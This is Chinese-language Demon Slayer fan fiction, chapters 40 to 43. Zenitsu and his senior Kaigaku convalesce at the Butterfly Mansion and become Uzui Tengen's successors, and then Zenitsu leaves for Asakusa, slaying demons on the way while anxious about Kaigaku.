三秒后,善逸败下阵来,重新低头看向自己手中的药汤。
不行,还是感觉喝下会死!
他再次凝视药汤三秒,最后迅速将药汤放在了病床旁边的柜子上,倒在床上将被子拉过脑袋,假装自己困到马上药睡着的样子:“诶呀突然好困——药先放在哪里吧我等下会喝的……”
“我妻善逸!!”在旁边死盯着的狯岳终于忍耐不下去了,他的眉头皱得死紧:“端着你的药汤!过来!!”
“伊!!!”被师兄叫全名的压迫感让善逸瞬间从病床上弹起:“是!!大哥!!”
最后,这碗让神崎葵头疼了半天的汤药,还是被狯岳亲手灌进了我妻善逸的肚子里。
“好的,两位请好好休息,”神崎葵拉着病房门,最后严肃叮嘱:“还有,不要再强行挤在一张病床上了!对伤势回复很不好!”
哐当一声,病房门被关上,宽阔的病房只剩下了两个病号。
好了,人走了,该打师弟了。
狯岳缓缓转向师弟,掰动着自己双手的指节,杀气顺着动作溢出:“说吧,丢人现眼的东西,想怎么死?”
善逸还在抱着脖子试图呕出那发酸发涩又腥又苦的药,此时在师兄的杀气之下,大脑疯狂转动,努力思考有什么可以阻挡暴怒的师兄。快想,快想啊脑子!!
在千钧一发之际,善逸终于想到了!他从病床上下来,直直地走向师兄的方向,一把握住了师兄的手腕,用严肃的神情说道:“师兄!有一件大消息!”
狯岳不知道这小子又在作什么妖,但对上他的眼睛,还是决定先暂缓自己揍人的动作:“说吧,什么事?”
“救我们的那位音柱宇髄天元大人,他说要收我们为继子。”善逸劲量用平和而认真的语气说出这样的消息,然而听到消息的人,呆愣了半天,还是一手刀披在了他的头上。
“呃啊!!”我妻善逸抱头倒地。
40.第 40 章
“伊!!痛!!”我妻善逸抱着头痛呼,委屈地看着动手的师兄:“师兄你怎么还揍我!!”
“我怕我等下忘记揍你……”狯岳依然不可置信,他甚至怀疑地瞟了善逸好几眼。难不成是这废物耍他玩?不对,这废物虽然总是大喊大叫哭哭啼啼,但在正事上一向靠谱。但是,他想不通:“为什么音柱大人会收我们为继子?”
在那晚的战斗最后一刻之前,他们甚至从来没见过这位音柱大人。
“嘛,大概是爷爷推荐的把。谁知道。”善逸不思考这样的事。那位音柱大人,可是能够做出将上辈子的自己和炭治郎伊之助画着巨丑的妆扮演女孩卖进花街,来寻找自己在花街失踪的老婆的事情,关键是那样丑还真让他给贱卖出去了(咬手帕),对于这样脑回路清奇且行动力强的人,善逸不去思考他行事的原因。
看到我妻善逸好像漫不经心的态度,狯岳默默咬了咬牙。虽说平时总叫他废物,但一直和师弟切磋的狯岳怎么会不知道,他和自己的师弟实力差了一大截。如果被传送走对上下弦三的是自己,恐怕现在已经死掉了。
大概,又是音柱大人看中了我妻善逸,顺带捎上自己的情节吧。
狯岳渴望着变强,渴望着被认可,然而在他眼中已经被认可的人却对此漫不经心,看上去不甚在意。
可恶啊……狯岳的牙根咬到泛酸。
我妻善逸听到了师兄的不甘,他眨了眨眼,脱掉鞋子钻进了师兄的被窝,和师兄挤挤挨挨地贴在一起,将脑袋转过来,直直对上师兄的脑袋,左手摸到师兄的脸侧,拇指顺着师兄的唇缝撬开了他紧咬的牙。
“混蛋……你干什么……”狯岳从情绪中惊醒,震惊地看着凑到自己眼前还将手指伸到自己嘴里的师弟,一双眼睛瞪得溜圆,双手抓住善逸的左臂,使劲向外扯:“你是不是想死……”
“被咬流血了,师兄。”观察到师兄口腔之中的惨状,善逸将手指撤出,转而捂上师兄的嘴:“不可以伤害自己哦,师兄,我和爷爷都会担心的。”
“你担心关我屁事!”狯岳掰开我妻善逸捂住自己的手,用力攥紧,那力道像是想要直接将善逸的手指攥断:“又发什么疯!!”
“师兄才是吧?”我妻善逸没有被师兄的力道和语言恐吓到,他反手将师兄的手包住,眼神也望向师兄:“在想自己没有被认可么?以为音柱大人是因为我才选择你的么?在你心里,我到底是怎样的人啊?”
他松开师兄的手,双手扶上师兄的脸,对着师兄那有些闪躲的视线,一字一句道:“师兄,我并没有你想象的那样超能,没办法影响柱的判断,也没有能力让柱因为我而收下你为继子。你的一切成就,是因为你值得。稻玉狯岳,你是特别的。”
“稻玉狯岳,你是特别的。”他再次重复,重复这句他上辈子一直没有说出口的话。
“如果你认为我很厉害,师兄,那么,这句来自我的肯定,算是你认可的认可吗?”
“师兄,你认可的我,一直在认可你啊。”
我妻善逸将额头贴上师兄的额头,通过他们接触的那一小块皮肤,聆听师兄身体内血液鼓动的声音。
砰咚、砰咚、砰咚,一下,又一下,不甘的情绪被洗刷,吵嚷的杂音消失,甚至连焦躁都听不见了,只剩下了生命鲜活流动的声响。
真好,真不错。善逸扯开嘴角,露出满足的笑容。
狯岳在师弟开口的一瞬间怔住,被强硬地托住脸,被迫直视我妻善逸的眼睛,被迫接收我妻善逸的语言,被我妻善逸影响到不能思考,脑袋像是充满了糨糊,一下也转不动,耳边只剩下自己心脏跳跃的声音,砰咚、砰咚,吵得他心烦。
“师兄……师兄!!呼吸!呼——吸!!”善逸慌忙掰开师兄的口腔,让自己眼前这个突然停住呼吸的家伙喘口气。
“……咳咳咳!”突然的张口让狯岳呛咳出声。原来刚刚他竟是忘记了呼吸。
“真是的,师兄,你肺部的伤口还没愈合,不要这样啊……”善逸避开师兄的伤口,轻轻抚过师兄的后背,尽量缓解师兄的不适感觉。
“……啰嗦。”狯岳错开师弟的眼神,对刚刚善逸出口的话避而不提,久久没有开口。
我妻善逸盯着师兄不知是因为呛咳还是怎么,变得通红的耳尖,嘴角偷偷翘起,然后被突然转头的师兄抓个正着,在师兄恼羞成怒的眼神中,善逸默默岔开视线。“所以,师兄,你要成为音柱大人的继子吗?”
狯岳猛然抓上善逸的手臂,直直看向他:“你没有直接答应音柱大人??”
善逸看向他的眼神带着理所当然:“我要和师兄商量啊,当然不能直接答应了……师兄你干嘛!!”
“蠢货!!现在就跟我去找音柱大人!”狯岳要被自己的师弟给气笑了。成为柱的继子这样好的机会,他居然没有一口答应!
怎么,还让柱回去等通知吗??太荒谬了!!
“音柱大人还在这里吗??”
“应该还在……昨天听小葵说他在修养……师兄你等我穿上鞋!!师兄!!”
“蠢货!!快点!!”
见到宇髄天元时,他刚看完蝴蝶香奈惠捎给他的主公来信。
“哦,你们来了。”宇髄天元随手将信塞到自己的怀中,低头看着这两位小不点。
宇髄天元并没有穿蝶屋的病服,而是身着粉色条纹的暗红浴衣,在院子里懒羊羊地晒太阳,旁边是打打闹闹的须磨和莳绪,以及安静围观的雏鹤。
虽说上辈子见过很多回,善逸还是无法释怀。怎么有人可以又高又帅还拥有三个老婆啊!!
狯岳用胳膊肘击旁边漏出很不满表情的傻子师弟,按着善逸的后背对眼前的人躬身行礼:“音柱大人,非常感谢你的救命之恩。”
宇髄天元摆摆手,不在意地开口:“我是鬼杀队的柱,庇护下面的队士也是我的职责。”
“做好决定了吗?是否要成为我的继子?”
善逸和自己的师兄对视,随后二人齐齐向着宇髄天元俯身行礼。
“哈哈哈,真不错呢,你们两个!!”宇髄天元很高兴,将我妻善逸的肩膀再次拍得砰砰响:“既然决定要成为我的继子,那就请华丽的拼上自己的所有努力吧!”
“啊!这是天元大人新收的弟子吗?”“看上去可不高啊!”“多大了?”雏鹤、须磨和
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莳绪也围了上来,围观这两个穿着病号服的小孩。
善逸被三个大姐姐包围,幸福地冒泡泡,被看不过他这幅蠢样的狯岳给拉在了身后。狯岳谨慎而有礼貌地和三位打招呼,一一回答了问题,随后突破包围来到了宇髄天元身前。
宇髄天元看出了他的一点点不自在,倒也没有多言,只叫他们两个回去老实养伤,就冲他们拜拜手,自顾自回到了刚刚的地方晒太阳。
善逸和师兄冲着宇髄天元的方向再鞠一躬,互相拉扯着回到了病房,并找到蝶屋里的队士要了两张信纸。
回到病房的师兄弟趴在病房的桌板上,将两个人的情况,以及被音柱收为弟子的事情写信告诉爷爷。
「……我和师兄一切平安,我们都在为成为鸣柱而努力着。爷爷,在不远的将来,我们会成为您之后的鸣柱,到时候,请为我们骄傲吧。
我妻善逸 敬上」
善逸等笔墨风干,将自己和师兄的信封进信封,交给师兄的鎹鸦纹五郎,让他将两人的信一同带去桃山。
他转头望向师兄,狯岳扒伏在桌板上,因身体在愈合伤势而困顿得摇摇欲坠。
善逸将笔墨放置好,将师兄的肩膀向后揽,另一只手穿过师兄的膝弯,将师兄抱到了病床上。
狯岳在半梦半醒之间,感觉到有人在掰他的肩膀,正想睁开眼,却感受到熟悉的温度和气味,咕哝一声,沉沉地睡了过去。
善逸趴在师兄床头,盯着师兄那张在睡着之时显得不那么锐利的五官许久,下意识想要和师兄贴在一起,又想到了花柱和神崎葵的警告,于是悻悻地收回想要掀开师兄被子的手,转身躺回了自己的病床上。
然而在自己病床上的我妻善逸翻来覆去半天,终究还是从床上坐了起来,下床将阁在师兄与自己的病床之间的小柜子推开,再把自己的病床向着师兄的方向推。
最终,躺在两张靠在一起的病床之间的我妻善逸,再次钻进了师兄的被窝中,满意地陷入了梦乡。
这样白天喝药其余睡觉的养伤生活,我妻善逸陪伴着自己的师兄度过了十天,期间宇髄天元的伤势痊愈,与他们告别后离开了蝶屋,并将他府邸的地方告诉了两人。
“在这之前,趁着养伤的时期,你们先将全集中呼吸常中华丽的学会吧!”宇髄天元已经穿戴好了他的鬼杀队队服,身后背着两把大刀,一副马上就能够上场杀鬼的样子,对两位刚收的继子说:“如果有什么不懂,可以去询问花柱的那位继子。那么,告辞!”
“唰”一声,音柱的身影完全不见,根本不给狯岳问清楚那个“全集中呼吸常中”的机会。
狯岳略显茫然地转头,就看到自己的愚蠢师弟一副“我知道快问我”的嘚瑟表情。
狯岳扭过头,根本不想搭理自己的师弟。
正等待师兄开口的我妻善逸只见到了师兄毛茸茸的后脑勺,将自己的脸贴到师兄旁边:“咳咳,师兄,这里好像有人知道什么哦——”
“嘁!”
“嘁什么啊师兄!快问我快问我!!”
“我去找花柱大人的继子。”
“啊呀师兄!!!问我嘛——师兄——”
41.第 41 章
最后,狯岳还是不爽地听自己师弟讲起了有关全集中呼吸·常中的内容。
“全集中呼吸·常中,顾名思义,就是长时间维持全集中呼吸的状态,让自己的身体一直保持在最佳状态下。”
能够教导自己的师兄,我妻善逸非常得意,神采飞扬地讲述着自己有关全集中·常中的所有知识。“所有的柱都会全集中·常中,也就是说,想要成为柱,时时刻刻处于全集中呼吸的状态是必要条件。”
善逸的全集中·常中是上辈子在那田蜘蛛山时间之后与炭治郎、伊之助一起学的,那之后就一直维持着全集中·常中的状态,一直到这辈子也没有停歇。他将狯岳的手按在自己的胸膛上:“师兄也有感觉到吧?我一直在全集中呼吸·常中的状态之中哦。”
“不过,师兄现在还不用着急,等到你痊愈后,我会帮助师兄的。”
帮师兄复健、监督师兄的全集中呼吸、和师兄一起互相泼茶锻炼反应能力,在善逸的想象之中,自己轻轻松松按住师兄的手,将师兄泼得湿淋淋的,只能跪倒在自己身前求饶……嘻嘻嘻嘻,嘻嘻嘻嘻!
然而,善逸并没有等到这样机会。在他们在蝶屋修养的第十天,也是宇髄天元离开的第三天,被诊断痊愈的我妻善逸被鎹鸦带来了新消息。
分给善逸的鎹鸦纹四郎是和狯岳的鎹鸦纹五郎同窝的兄弟,此时正在和兄弟贴贴,没去管自己看到消息变成黑白色的主人。
善逸哆嗦着双手,一字字读着手中的信,最后从信中抬头,泪眼汪汪地看向师兄:“师兄!!我可能不能继续陪你了……”
这封被鎹鸦送来的信来自鬼杀队的总部,出自主公之手。信上将他的特殊情况言明,同时期望他能够去一趟东京浅草,尝试能否找到那里的一位特殊医生。
「我的孩子,我并不认为你身上的情况有什么不妥之处,此次的行动完全是出于我的私心。那是一位很卓越又很特殊的医生,同样和鬼王有着深仇大恨。我只是在期待,出现在你身上的奇迹,能否改变猎鬼人的未来。」
这封信没有一点的尖锐语气,满满都是鬼杀队主公对每一个鬼杀队成员的关心与爱护,让他想起上辈子掉进无限城之前听到的那声来自远处的巨大炸响。
虽没有人告诉他,但是他听到了,那是鬼杀队主公的宅子,主公在上辈子用自己做局,丧生在了那场最终决战之前的爆炸当中。
这样的来信,这样的请求,他根本没办法拒绝。
“有任务?那就快去啊废物,在这里扭捏什么呢!”狯岳这些天都要在床上长霉了!然而每当他询问自己可否开始适度的练剑,都被花式拒绝,被神崎葵按回病床之上。此时见到善逸居然哭哭啼啼不想出门,恨不得以身代之,换他出去杀鬼,留善逸躺在床上长草。
“但是师兄你还没好……没办法和我一起出任务啊……”善逸的心情低落,一想到自己要离开师兄,埋在心底好多年的毛毛的念头就向外冒。
狯岳用一言难尽的表情看着他:“难不成你离开我就不会杀鬼了?”
“没有!!在遇见师兄之前我都是自己杀鬼的!!”说的是他的上辈子。呃,有时候跟炭治郎和伊之助一起杀,四舍五入算他自己杀的。
“那就滚去杀鬼!”
被狯岳嫌弃的善逸哭唧唧扑到师兄身上:“但是啊!师兄!!我离你这么远,万一你再遇见打不过的鬼了怎么办??”
自从他们第一次任务就遇见异能鬼加下弦鬼组合后,善逸对本来就深信不疑的师兄的坏运气论更加笃定,总感觉只要自己离开师兄一会儿,师兄就会被下弦鬼找上门,杀死或者被变成鬼——啊,师兄的运气再发展下去,不会直接遇见上弦吧!!那怎么办!!他能在上弦手下保住自己和师兄的小命吗???
他越想越恐怖,直抱着师兄发抖:“算了,我们和主公土下座,让他同意我推后时间,等到你康复了再去……”
“废物闭嘴!”狯岳“duang”地一下敲在了缠着自己的善逸头上,将自己身上这个缠的紧紧的爬虫给剥了下来:“这里可是蝶屋!!周围种的满满的紫藤花!!有什么鬼不要命了闯进来??”
“万一就有那种突破了紫藤花弱点的鬼呢??师兄不要忽略掉这种可能啊!!”
“蝶屋有柱!!还有一大堆鬼杀队队士!鬼是不想活了才来这里找死?”
“万一呢师兄!!万一!!”
“没有万一!!滚出去杀鬼!!”
“好吧——就当鬼不会闯进蝶屋——师兄你吃饭呛进气管里导致肺爆炸死掉了怎么办??走着走着摔进井里了怎么办?不小心喝到了别人的药结果和肚子里的药起反应毒死了怎么办!!!不行啊师兄!!我不能离开你!!”
“你——是不是想死???滚出去!!”
被师兄一脚踹在屁股上的善逸安稳落地,随后“砰”地一声,病房的门在他身后关上。
“师兄——师兄……”善逸转身挠病房门,然而他的师兄铁石心肠,没有一点打开门的意思,最后他只得丧丧地离开。
沿着病房区的走廊向外,他一个人走着,脚步像是绑了铅石一般沉重,路过的小葵和香奈乎不由停下看他:“我妻队士,你不是已经痊愈了吗?现在是要离开蝶屋吗?”
“小葵!小香奈乎!!”迈着沉重步伐的善逸猛然转身,看向两个人头上的蝴蝶发饰,眼前瞬间一亮,急切地询问:“呐,忍小姐现在还在她的研究室吗?”
小葵认真回想:“前两天见到忍小姐的时候,她好像说过最近都在研究室,有什么事去那里找她……你问这个干什么?”
在小葵有些警惕的目光下,善逸连忙摆手:“我之前被忍小姐要去了血液做研究,我想找她问一问有没有什么进展……”
“啊,你前些天的时候被忍小姐叫走的时候吗?”神崎葵收回眼神,向着他指明方向:
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“一直往前走到走廊尽头,随后向右转,左手边第三间,忍小姐在那里研究。”
“感谢!!我先走了!!”说完,我妻善逸向一阵旋风一样卷走了,留下身后目瞪口呆的神崎葵和依旧呆呆的香奈乎。
“真是的,这么着急……”小葵转过身来,拉住香奈乎的手:“走啦,香奈乎,我们还要将这些药送到下一个病房呢……”
另一边,我妻善逸到达研究室门口,敲开了门。
“谁?”打开房门的蝴蝶忍一脸研究被打断的不快,直直对上敲门的我妻善逸:“有什么事吗?”
善逸对上蝴蝶忍的脸,听到她心中传递而来的想将打扰她研究的家伙切片的声音,不由得一抖,声音也不由低了几分:“那个,我来问一下,根据我的血液研究的东西,可以帮助我师兄现在立马康复吗?”
“?”听到来人的发言,蝴蝶忍本就因被打扰而不快,此时脑袋上出现了许多的问号。“不好意思我没有听懂,你说什么?”
“我马上就要出任务了,有点担心我的师兄……”善逸也知道自己提出的要求很荒谬,但是他就试一试嘛,万一呢?
“既然我血液中有能够清除病毒帮助回复伤口的成分,那能不能给我师兄用一下,让他能够,呃,更快康复呢?”对上蝴蝶忍那充满压迫感的视线,我妻善逸摸摸鼻子,最终还是没能将“立刻康复”四个字再次重复。他觉得,再说一遍这四个字,他能被眼前的女士砍成八瓣。
我妻善逸没猜错,不,他甚至猜少了,听到这样离谱的要求,蝴蝶忍想立马拔刀,将眼前这个对自己说了什么一点数都没有的人砍成十六瓣!
她努力按下想将眼前人砍死的情绪,甚至没直接将人赶出去,而是耐心地开口:“抱歉,我的研究暂时还没到达可以直接在人身上试验的地步——所、以、暂、时、没、办、法、呢。”
她每吐出一个字,身上的黑气就更重一分,吓得善逸瑟瑟发抖。
“真的没办法吗……不然我再多给你一点血能不能……”善逸小心翼翼地尝试提出方法,结果差点被蝴蝶忍的眼神吓死:“伊!!我知道了……”
蝴蝶忍和姐姐都继承了父母的优良基因,于医之一道有着很高的天赋。自从加入了鬼杀队,蝴蝶忍自知自己身形纤细,很难砍掉恶鬼的脑袋,于是想到了用毒的方法。加入鬼杀队这一两年,她研制出了不少毒药,也和姐姐一起研究出了很多用于治疗的药物,然而这是第一次,被人堵门询问研究进展,催她拿出成果使用的。
她笑得阴森:“如果现在就想要使用,那我并不保证使用我成果的人能否存活哦~”
“不,不会的。”刚刚还被蝴蝶忍吓得发抖的人,此刻没有了胆怯的样子,直视她的眼睛,语气笃定。
“虽然我也讲不明白原因啦,”善逸有点不好意思地揉揉头发,但那双眼睛里全是认真。“直觉告诉我,我的血液,不会伤害我的师兄。”
42.第 42 章
蝴蝶忍觉得我妻善逸这个人简直不可理喻。
她只是初步将血液中的特殊成分提取了出来,然而那些成分并不温和,直接加入到其他中毒者的血液之中得到的结果永远是那成分将病毒连同其他血细胞一起消灭掉,没有再出现过清理毒素同时恢复血液细胞的案例,就好像他们最开始做的试验得出的结果是幻觉一般。
然而,当她再次将那些成分加入最开始使用的那份来自眼前人师兄的血样之中,这些特殊成分再次变得温和而没有破坏性,像是老老实实蜷缩着爪子的老虎,假装自己是一直温和无害的小猫咪。
尽管她威胁的话很吓人,然而真将这部分注射到这个人的师兄身上,她更倾向于那人完全不会有事,反而会有出乎意料的结果。
但是,这是她经历过实验后的推测。眼前这个黄发队士在没有任何依据的情况下,就敢对她说出“我的血液绝不会伤害我师兄”这样的话,真是叫人……不知该如何形容了。
“你这样相信吗?”蝴蝶忍直直对上我妻善逸的双眼,那双漂亮却略显空茫的眼睛在此时尽显压迫感,“我在实验中发现,你血液之中的异常成分会直接将其他生物的细胞当做病毒一样杀死,也就是说,如果我直接将那管异常成分提取物注射到你师兄的身体中,很大可能,你的师兄直接因为这些来自你的成分收到更重的伤害甚至死亡,到时候你依然能说出这样笃定的话吗?”
“不会的。”我妻善逸的语气没有任何动摇,哪怕在听到蝴蝶忍的那一席话之后,他依然坚定。“我的血液,不会伤害我师兄。”他再次重复。
蝴蝶忍与他的眼睛对视三秒,率先错开眼。他看向实验台上的那些试剂,垂下眼睛:“既然你这样坚定,那么,等到我初步研究完,让你师兄成为药物的首位测试者吧。”
“……现在能……”
“没办法让你师兄立即恢复。”蝴蝶忍打断我妻善逸的离谱要求,然后赶走这位不速之客:“时间不早了,请回吧。”
我妻善逸看着窗外明媚的阳光,感受到了蝴蝶忍赶客的意图,可怜兮兮地扒着门板:“那个,最后一件事。”
“请说。”蝴蝶忍感觉自己已经无法维持脸上得体的笑容了:“请抓紧时间。”
“好的……那个,我马上就要出门了不知道能否在师兄康复之前回来——可以请你到时候指导下师兄的全集中呼吸·常中吗?”我妻善逸有些打扰别人的扭捏,毕竟之前还请求人家想要立刻医好师兄,但是还是开了口。
“关于这件事情,音柱大人已经安排过,等到那位队士恢复后我会前去指导。还有别的事吗?”
“没有了。”我妻善逸默默收回扒着门板的手,将大门合上:“打扰了,忍大人。”
啪嗒,研究室的大门在我妻善逸手下闭合,他能想到的最后一个不与师兄分开的计划也宣告破产。
我妻善逸再次拖着他的双脚回到了病房门口,敲开病房,此时他的鬼杀队队服已经被蝶屋的后勤修补清理一新,正整整齐齐地叠放在他的病床之上。
而他的师兄,让他忙活了半天的罪魁祸首,此时已经在床上睡着了。
他安静绕过师兄,拿起病床上的队服换好,将日轮刀插回腰间,最后来到了师兄身前。
我妻善逸站在师兄的床头,盯着师兄那张在睡梦之中依然习惯性皱着眉头的小脸,惆怅与不舍的感觉在心中蔓延。
这还是他重新来过的三年里,第一次要长时间离开师兄身边呢。
师兄的心跳声规律而沉稳,一下、一下,咂在他的鼓膜上,安定着他的心神。只要他还能听到这样的声音,他的师兄就依然鲜活地活着,依然能露出生动的表情,依然能和他一起回到桃山之中。
他伸出手指,划过师兄的眉峰,揉开师兄皱在一起的眉头,继续向下,沿着师兄的鼻梁描摹师兄的眉眼。
越描画,越不舍,一想到没办法听到师兄的声响,没办法确认师兄的平安,脑海中就控制不住播放一些狯岳被杀死、被变鬼的画面,心中的阴翳无法遮掩。他对着这张脸呢喃出声:“师兄,你如果和我生长在一起,骨肉连着骨肉血连着血,该多好……我们永远不会分开……”
“那样我们早就死了,蠢货。”在善逸陷入自己的思绪之中时,狯岳已经苏醒,他睁开眼,刚好听到这句恐怖的呢喃话语。
狯岳甩开脸上僵硬的手指,撑着病床坐起,注意到我妻善逸已经穿好了队服:“已经准备出发了吗?”
善逸蜷了蜷自己一瞬间僵硬的手指,老老实实对师兄开口:“马上就要走了。”
“带钱了吗?”
“准备好了,蝶屋的人还给我准备了饭团。”
“要去多久?”
“不知道。”
“……注意安全,别死了,蠢货。”
善逸的泪水瞬间决堤:“呜呜呜师兄我不想离开你!!!师兄你能不能变小被我背走啊!!师兄!!!”
“废物!!快滚!!别逼我踢你!!”
“师兄!!!”
“好了,我就将你送到这里了,滚吧。”在善逸的软磨硬泡撒泼打滚之下,狯岳将他送到了蝶屋门口。
“师兄,你自己在蝶屋要小心,千万别撞到哪里死掉了……还有,师兄,我和花柱的继子蝴蝶忍小姐说好了,如果有更有助恢复的药会给你使用的……还有还有,我可能没办法在师兄恢复之前回来了,到时候师兄就去找那位蝴蝶忍小姐学习全集中常中……还有还有……诶呀!痛!!”
狯岳实在受不了,一脚踹在了师弟屁股上:“快滚!啰嗦的蠢货。”
“师兄!!你要记住啊!我会早点回来的!!”
狯岳朝着我妻善逸摆摆手,然后看着他一步三回头地离开了蝶屋。
一直到他的身影消失在重重山林的遮挡中,狯岳转身,回到了自己的病房。
与此同时,正沿着道路向前的我妻善逸动了动耳朵,向后转身,遥遥望向蝶屋的方向。
“说着让我快滚,出来送行也不情不愿的,结果在外看了这么久才回去……师兄啊。”
他向前走着,敏锐的听力聚焦在远方师兄的位置,听着他的脚步与心跳,一点点、一点点变小,直到他再次踏出了一步,耳边再也听不到师兄的声音。
他
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转过身,再次望向了蝶屋的方向,望向他师兄所在的地方。
很近,只要他走回一步,他又能够听闻师兄的音讯,但又很远。
师兄的声音在耳边消失的一瞬间,各种画面轮番在他眼前上演。上辈子师兄变成鬼的脸,这辈子师兄被鬼抓在手中的样子,说着要将师兄变成鬼的恶鬼,师兄虚弱躺在病床上的样子,甚至他从来没有见过的,师兄被恶鬼强制灌入鬼血的画面、师兄倒在恶鬼旁边身首分离的画面、师兄满是裂伤倒在病床上的画面……
明明上午还在笃定地说自己的血液永远不会伤害师兄,此刻竟在下意识恐惧怀疑师兄会因自己的血液死亡……一瞬间,他甚至想要飞奔回去,挡下蝴蝶忍朝师兄注射药剂的手。
但是……“不,不行!”一旦迈开这一步,他就再也没有勇气第二次离开师兄的身边了。为了不让更多的悲剧在这辈子发生,他必须暂时的离开师兄,去做自己要做的事情。
我不会伤害师兄的,我的血液不会伤害师兄,师兄现在很安全,安稳地待在蝶屋之中,不会遇见任何的鬼,不会被被鬼杀死也不会变鬼,那些画面都是假的,都是我的臆想,师兄没有变鬼、没有被我伤害更没有死亡……
善逸将脑海中轮转的画面抛开,强迫自己转身,一步一步,向前走,直到奔跑起来,小腿攀上蓝色的雷电,距离蝶屋越来越远、越来越远……
等到善逸停下来时,天已经黑了。他极速奔跑了一下午,穿过城镇、穿过山林,与师兄的所在相隔太远,以至于身周已经没有了任何鬼杀队队士的声响。
此时的他,位于一片广袤的山林之中。原本跟着他指引方向的鎹鸦纹四郎,被他远远地甩到了身后。
我妻善逸呼出一口热气,双眼空茫地站在山林里。平时总是集中在师兄身上的听力此时漫无目的地扩散出去,一整片山林的声响都落入到了他的耳朵中。
他尽力不去思考师兄现在怎么样,但是啊,但是啊,那些画面像是关不掉的幻灯片,哪怕他放空思绪奋力奔跑,在他停下来的一瞬间,在他重新意识到自己听不到师兄声音的一瞬间,它们重新出现,一幕、一幕,压下他所有关于师兄安全的设想,提醒着他,我妻善逸,你的师兄可能在下一秒就变成这种模样。
而现在的你离他遥远,哪怕他死亡你也无能为力。
他的理智告诉他那些都是假的,但是脑海里有另一个人,用恐惧而悲伤的声音说,那些都可能变成现实。
我妻善逸知道自己不能在继续这样。他试图找寻记忆中师兄鲜活而充满生机的样子洗刷掉那些糟糕的画面,然而,那些师兄在出现的一瞬间,他的脑海中就模拟了师兄的死亡场景。鲜活的笑骂着的师兄的脸上出现了血迹,那双总是嫌弃地看着他的眼睛中的生机消失,附上一层代表着死亡的灰白色阴翳,皮肤失去血色,没有心跳声与血液流动声,被恶鬼抓在手中啃食……
啊,恶鬼。
我妻善逸双手顺着重力下垂,随后瞬间扶上了日轮刀。在漆黑的夜晚,月光穿过层层树梢,落在善逸的脸上,在刘海在遮掩之下,善逸的双眼被阴影遮盖。
啊,恶鬼。
43.第 43 章
啊,恶鬼。
我妻善逸耳尖微动,脑袋朝着一侧微微偏去,眼睛终于落在了月光之中,金黄色眼瞳深处的蓝色电光更甚,一瞬间,散发出浓浓的非人感。他面无表情,在确认过声音出现的方位后头颅向着那个方向微微转动,随后瞬间蹬地起跳,轻盈停在身旁高处的一只树杈上,双腿冒出金色电花,下一秒,一道金色闪电在树木之间折射前进。
啊,恶鬼。
善逸静静地落地,手腕一抖,甩掉刀刃上沾着的脏污血液,将日轮刀重归刀鞘。在他身后,一只庞然大物从脖颈处冒出蓝色电花,接着闪电状的裂纹瞬间蔓延,没等到恶鬼的身体被灼烧成灰,下一秒,恶鬼的身躯顺着那些裂纹崩解,一瞬间崩裂成尘埃。
啊,恶鬼。
善逸再次跳到高处,眺望到最近城镇的方向,随后再次化作闪电,几息之间来到夜晚的街道之上。
他落到房顶上,黑沉沉的视线注视着前方,在这样宁静的夜晚,总有些东西蠢蠢欲动地爬出,破坏掉本该一直存在的美好。
他的脚步极轻,从屋顶上跑过之时完全没有惊扰到屋内的人,就这样像是一抹黑暗之中的影子一般,悄悄地落到了一处庭院之中,拔刀砍下即将杀人的恶鬼的脑袋。
随后,他没去看那只扭曲的恶鬼化作飞灰,而是轻瞟了眼被恶鬼吓得瘫坐在地的人,随后脚下使力,消失在了庭院之中。
那个差点葬身于恶鬼腹中之人望着那道从天而降的身影消失,久久缓不过神。
我妻善逸就这样在夜晚穿梭,直到天色亮起,他伸手接住追赶他一路的鎹鸦,在城镇中的人苏醒之前离开了这片小镇。
我妻善逸向着东京浅草的方向极速前进着,同时在夜晚时分清理沿路的恶鬼。他像是一具不知疲惫的机器,齿轮转动的声响昼夜不停。
为了放空思绪,不去思考师兄的情况,他白天拼命地赶路,而到了夜晚,则是一刻不停地将恶鬼斩杀。
啊,恶鬼,食人的恶鬼。
我妻善逸面无表情地盯着脚下狰狞的食人鬼。那些闭眼时在他脑海中杀死师兄的恶鬼,逐渐变成了脚下恶鬼的模样。
“为了不让你们有机会杀死我的师兄,被我杀死吧。”我妻善逸的日轮刀划下,恶鬼的身形化作飞灰。
明明可以昼夜不停地赶路,但是每当在路途中听到鬼的声音时,他都会无法控制地思考:会不会这只恶鬼最后要了师兄的命呢?
当然,我妻善逸从不否定师兄的能力,这些鬼在师兄面前也都是小虾米。但是、但是,万一呢?
不能有万一的可能。必须斩杀,必须湮灭。
他像是黑夜中的死神,不过他的镰刀落下,带走的永远都是不该存在于此世的恶鬼。一只、一只、又一只,不知疲倦,不知疼痛,简直像是另一种有别于人类的生物。
简直像是……执念是杀死恶鬼的鬼怪。
漆黑的街道中,锖兔正在与眼前的鬼苦斗。
这次他遇到的鬼颇为难缠。锖兔闪身险险躲过恶鬼像是鞭子般甩过来的胳膊,接着将日轮刀抵左肩,挡下另一道来自恶鬼的远程攻击。这只鬼的速度不慢,在被他挡下后再次出手,锖兔招式变换不及,被他在胳膊上抽出了一道血痕。
锖兔脸色难看地捂住自己的胳膊,在逐渐向自己逼近的恶鬼面前,咬牙打算勉强自己继续战斗。
正当他打算继续上前,下一瞬,一个如闪电般迅捷的身影从屋顶落下,那只鬼被瞬间到达的横竖两道斩击劈成了四瓣!
锖兔被从天而降的人解了围,正想要道谢,抬眼见到的就是像是鬼怪一般的我妻善逸。
眼见眼前状态糟糕到极点的人马上就要抬脚离开,他忘记了要道谢的事情,连忙抓住善逸的肩膀:“善逸,你还好吗?”
被抓住肩膀的我妻善逸转头,一双只充斥着杀鬼念头的眼睛和另一双带着担忧的银紫色眼睛对上,三秒之后,他那已经在一刻不停的杀鬼与赶路之中变得木然的大脑才终于反应过来眼前之人的名字。
他张开口,嗓音由于长时间没讲过话而变得沙哑:“锖兔。”
此时天已经要亮了,而眼前与鬼的战场并不适合久留。锖兔低声对我妻善逸说:“你看上去状态不太好。我们好不容易遇到,找个地方好好聊聊吧。”
善逸转动着他迟钝的脑袋,再次思考了三秒:“……好。”
他们沿着街道,寻找到了一处偏僻的角落。锖兔倚靠着墙壁,从身上掏出一截布条,缠绕在胳膊上被恶鬼抽出的伤口之上。
缠紧伤口后,他再次掏出两个饭团,将其中的一个递给了我妻善逸:“给,早饭。”
我妻善逸眨眨眼,从锖兔手中接过那个饭团,塞到了自己的口腔中。
在饭食入口的一瞬间,口中的唾液分泌,整套消化系统像是被激活了一般,到处都在呐喊着饥饿。
